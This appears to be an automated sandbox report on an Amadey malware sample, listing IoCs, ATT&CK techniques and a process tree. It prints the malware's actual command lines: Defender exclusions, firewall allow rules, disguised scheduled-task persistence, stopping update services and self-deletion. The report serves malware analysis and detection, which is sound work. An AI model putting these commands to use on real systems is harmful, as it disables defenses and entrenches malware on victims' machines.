amadey | abd8284914e8bc1309c13903e7b41b1af552c80598982c9e8fbe35e88eda9315

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	notepad.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updChrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	notepad.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updChrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	notepad.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updChrome.exe

Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Modify Existing Service

T1031

pid	Process
3840	netsh.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updChrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	notepad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	notepad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updChrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	notepad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	notepad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updChrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	notepad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updChrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updChrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	notepad.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updChrome.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000\Control Panel\International\Geo\Nation	oldplayer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000\Control Panel\International\Geo\Nation	oneetx.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000\Control Panel\International\Geo\Nation	setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1420546310-613437930-2990200354-1000\Control Panel\International\Geo\Nation	file.exe

Executes dropped EXE 16 IoCs

pid	Process
1432	11796175.exe
1568	oldplayer.exe
4120	oneetx.exe
1888	setup.exe
2140	updEdge.exe
1580	notepad.exe
3756	updChrome.exe
1444	toolspub2.exe
4184	oneetx.exe
4628	toolspub2.exe
1808	notepad.exe
1736	updChrome.exe
3844	3eef203fb515bda85f514e168abb5973.exe
456	updEdge.exe
4948	notepad.exe
1016	updChrome.exe

Themida packer 25 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x0007000000023227-230.dat	themida
behavioral2/files/0x0007000000023227-240.dat	themida
behavioral2/memory/3756-242-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/memory/3756-244-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/memory/3756-265-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/memory/3756-266-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/memory/3756-271-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/memory/3756-275-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/memory/3756-268-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/files/0x0007000000023227-289.dat	themida
behavioral2/memory/1736-292-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/memory/1736-330-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/memory/3756-337-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/memory/1736-339-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/memory/1736-342-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/memory/1736-344-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/memory/1736-335-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/files/0x0007000000023227-370.dat	themida
behavioral2/memory/1736-318-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/memory/1016-397-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/files/0x0007000000023227-533.dat	themida
behavioral2/memory/3756-539-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida
behavioral2/files/0x0015000000023235-607.dat	themida
behavioral2/memory/376-616-0x00007FF733B40000-0x00007FF734916000-memory.dmp	themida
behavioral2/memory/1736-639-0x00007FF7238A0000-0x00007FF724676000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 6 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	notepad.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updChrome.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	notepad.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updChrome.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	notepad.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updChrome.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
1580	notepad.exe
3756	updChrome.exe
1808	notepad.exe
1736	updChrome.exe
4948	notepad.exe
1016	updChrome.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1444 set thread context of 4628	1444	toolspub2.exe	109
PID 2140 set thread context of 4632	2140	updEdge.exe	127
PID 4184 set thread context of 2452	4184	oneetx.exe	135

Launches sc.exe 20 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4144	sc.exe
1432	sc.exe
4896	sc.exe
3028	sc.exe
888	sc.exe
4992	sc.exe
4152	sc.exe
4788	sc.exe
1980	sc.exe
2320	sc.exe
4828	sc.exe
2472	sc.exe
3280	sc.exe
1904	sc.exe
2636	sc.exe
1880	sc.exe
2236	sc.exe
2752	sc.exe
1476	sc.exe
1224	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 9 IoCs

pid	pid_target	Process	procid_target
4168	1888	WerFault.exe	98
3920	1888	WerFault.exe	98
1948	1888	WerFault.exe	98
3856	1888	WerFault.exe	98
3796	1888	WerFault.exe	98
2752	1888	WerFault.exe	98
4380	1888	WerFault.exe	98
1560	1888	WerFault.exe	98
3652	1888	WerFault.exe	98

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	11796175.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	11796175.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	11796175.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
868	schtasks.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	72	Go-http-client/1.1

Kills process with taskkill 1 IoCs

evasion

pid	Process
4192	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1432	11796175.exe
1432	11796175.exe
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
3188	Explorer.EXE
4628	toolspub2.exe
4628	toolspub2.exe
3188	Explorer.EXE
3188	Explorer.EXE

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
1432	11796175.exe
4628	toolspub2.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeDebugPrivilege	2140	updEdge.exe
Token: SeDebugPrivilege	4184	oneetx.exe
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeDebugPrivilege	4192	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1568	oldplayer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 556 wrote to memory of 1432	556	file.exe	85
PID 556 wrote to memory of 1432	556	file.exe	85
PID 556 wrote to memory of 1432	556	file.exe	85
PID 556 wrote to memory of 1568	556	file.exe	86
PID 556 wrote to memory of 1568	556	file.exe	86
PID 556 wrote to memory of 1568	556	file.exe	86
PID 1568 wrote to memory of 4120	1568	oldplayer.exe	87
PID 1568 wrote to memory of 4120	1568	oldplayer.exe	87
PID 1568 wrote to memory of 4120	1568	oldplayer.exe	87
PID 4120 wrote to memory of 868	4120	oneetx.exe	88
PID 4120 wrote to memory of 868	4120	oneetx.exe	88
PID 4120 wrote to memory of 868	4120	oneetx.exe	88
PID 4120 wrote to memory of 2084	4120	oneetx.exe	90
PID 4120 wrote to memory of 2084	4120	oneetx.exe	90
PID 4120 wrote to memory of 2084	4120	oneetx.exe	90
PID 2084 wrote to memory of 1876	2084	cmd.exe	92
PID 2084 wrote to memory of 1876	2084	cmd.exe	92
PID 2084 wrote to memory of 1876	2084	cmd.exe	92
PID 2084 wrote to memory of 700	2084	cmd.exe	93
PID 2084 wrote to memory of 700	2084	cmd.exe	93
PID 2084 wrote to memory of 700	2084	cmd.exe	93
PID 2084 wrote to memory of 3472	2084	cmd.exe	94
PID 2084 wrote to memory of 3472	2084	cmd.exe	94
PID 2084 wrote to memory of 3472	2084	cmd.exe	94
PID 2084 wrote to memory of 2712	2084	cmd.exe	95
PID 2084 wrote to memory of 2712	2084	cmd.exe	95
PID 2084 wrote to memory of 2712	2084	cmd.exe	95
PID 2084 wrote to memory of 928	2084	cmd.exe	96
PID 2084 wrote to memory of 928	2084	cmd.exe	96
PID 2084 wrote to memory of 928	2084	cmd.exe	96
PID 2084 wrote to memory of 1076	2084	cmd.exe	97
PID 2084 wrote to memory of 1076	2084	cmd.exe	97
PID 2084 wrote to memory of 1076	2084	cmd.exe	97
PID 4120 wrote to memory of 1888	4120	oneetx.exe	98
PID 4120 wrote to memory of 1888	4120	oneetx.exe	98
PID 4120 wrote to memory of 1888	4120	oneetx.exe	98
PID 4120 wrote to memory of 2140	4120	oneetx.exe	101
PID 4120 wrote to memory of 2140	4120	oneetx.exe	101
PID 4120 wrote to memory of 2140	4120	oneetx.exe	101
PID 4120 wrote to memory of 1580	4120	oneetx.exe	103
PID 4120 wrote to memory of 1580	4120	oneetx.exe	103
PID 4120 wrote to memory of 3756	4120	oneetx.exe	106
PID 4120 wrote to memory of 3756	4120	oneetx.exe	106
PID 4120 wrote to memory of 1444	4120	oneetx.exe	107
PID 4120 wrote to memory of 1444	4120	oneetx.exe	107
PID 4120 wrote to memory of 1444	4120	oneetx.exe	107
PID 4120 wrote to memory of 4184	4120	oneetx.exe	160
PID 4120 wrote to memory of 4184	4120	oneetx.exe	160
PID 4120 wrote to memory of 4184	4120	oneetx.exe	160
PID 1444 wrote to memory of 4628	1444	toolspub2.exe	109
PID 1444 wrote to memory of 4628	1444	toolspub2.exe	109
PID 1444 wrote to memory of 4628	1444	toolspub2.exe	109
PID 1444 wrote to memory of 4628	1444	toolspub2.exe	109
PID 1444 wrote to memory of 4628	1444	toolspub2.exe	109
PID 1444 wrote to memory of 4628	1444	toolspub2.exe	109
PID 4120 wrote to memory of 1808	4120	oneetx.exe	111
PID 4120 wrote to memory of 1808	4120	oneetx.exe	111
PID 4120 wrote to memory of 1736	4120	oneetx.exe	123
PID 4120 wrote to memory of 1736	4120	oneetx.exe	123
PID 1888 wrote to memory of 2912	1888	setup.exe	133
PID 1888 wrote to memory of 2912	1888	setup.exe	133
PID 1888 wrote to memory of 2912	1888	setup.exe	133
PID 4120 wrote to memory of 3844	4120	oneetx.exe	131
PID 4120 wrote to memory of 3844	4120	oneetx.exe	131

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3188
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Users\Admin\AppData\Local\Temp\11796175.exe
    "C:\Users\Admin\AppData\Local\Temp\11796175.exe"
    3⤵
    - Executes dropped EXE
    - Checks SCSI registry key(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    PID:1432
- - C:\Users\Admin\AppData\Local\Temp\oldplayer.exe
    "C:\Users\Admin\AppData\Local\Temp\oldplayer.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1568
  - - C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe
      "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4120
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\Admin\AppData\Local\Temp\207aa4515d\oneetx.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:868
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "Admin:N"&&CACLS "oneetx.exe" /P "Admin:R" /E&&echo Y|CACLS "..\207aa4515d" /P "Admin:N"&&CACLS "..\207aa4515d" /P "Admin:R" /E&&Exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2084
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:1876
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:N"
        6⤵
        
        PID:700
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "oneetx.exe" /P "Admin:R" /E
        6⤵
        
        PID:3472
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:2712
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\207aa4515d" /P "Admin:N"
        6⤵
        
        PID:928
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\207aa4515d" /P "Admin:R" /E
        6⤵
        
        PID:1076
    - - C:\Users\Admin\AppData\Local\Temp\1000240001\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000240001\setup.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1888
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 620
        6⤵
        Program crash
        
        PID:4168
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 880
        6⤵
        Program crash
        
        PID:3920
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 888
        6⤵
        Program crash
        
        PID:1948
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 932
        6⤵
        Program crash
        
        PID:3856
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 940
        6⤵
        Program crash
        
        PID:3796
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 1104
        6⤵
        Program crash
        
        PID:2752
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 1136
        6⤵
        Program crash
        
        PID:4380
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 1436
        6⤵
        Program crash
        
        PID:1560
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 1464
        6⤵
        Program crash
        
        PID:3652
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\1000240001\setup.exe" & exit
        6⤵
        
        PID:2912
    - - C:\Users\Admin\AppData\Local\Temp\1000186001\updEdge.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000186001\updEdge.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:2140
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        
        PID:4632
        
        C:\Users\Admin\AppData\Local\Temp\chrome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome.exe"
        7⤵
        
        PID:844
        
        C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
        
        C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
        8⤵
        
        PID:632
    - - C:\Users\Admin\AppData\Local\Temp\1000279001\notepad.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000279001\notepad.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1580
    - - C:\Users\Admin\AppData\Local\Temp\1000187001\updChrome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000187001\updChrome.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3756
    - - C:\Users\Admin\AppData\Local\Temp\1000241001\toolspub2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000241001\toolspub2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1444
      - C:\Users\Admin\AppData\Local\Temp\1000241001\toolspub2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000241001\toolspub2.exe"
        6⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:4628
    - - C:\Users\Admin\AppData\Local\Temp\1000186001\updEdge.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000186001\updEdge.exe"
        5⤵
        
        PID:4184
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        
        PID:4992
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        
        PID:2452
    - - C:\Users\Admin\AppData\Local\Temp\1000279001\notepad.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000279001\notepad.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1808
    - - C:\Users\Admin\AppData\Local\Temp\1000187001\updChrome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000187001\updChrome.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1736
    - - C:\Users\Admin\AppData\Local\Temp\1000186001\updEdge.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000186001\updEdge.exe"
        5⤵
        Executes dropped EXE
        
        PID:456
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        
        PID:1088
    - - C:\Users\Admin\AppData\Local\Temp\1000279001\notepad.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000279001\notepad.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4948
    - - C:\Users\Admin\AppData\Local\Temp\1000187001\updChrome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000187001\updChrome.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1016
    - - C:\Users\Admin\AppData\Local\Temp\1000242001\3eef203fb515bda85f514e168abb5973.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000242001\3eef203fb515bda85f514e168abb5973.exe"
        5⤵
        Executes dropped EXE
        
        PID:3844
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:2760
      - C:\Users\Admin\AppData\Local\Temp\1000242001\3eef203fb515bda85f514e168abb5973.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000242001\3eef203fb515bda85f514e168abb5973.exe"
        6⤵
        
        PID:3216
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:3600
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        7⤵
        
        PID:1100
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        8⤵
        Modifies Windows Firewall
        
        PID:3840
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:4424
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:4508
        
        C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        7⤵
        
        PID:2660
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        8⤵
        
        PID:884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:1100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#gzjter#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:4652
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:3764
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:3012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:4928
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:4176
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:2752
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1476
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1904
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1880
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4788
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1980
- C:\Windows\System32\cmd.exe
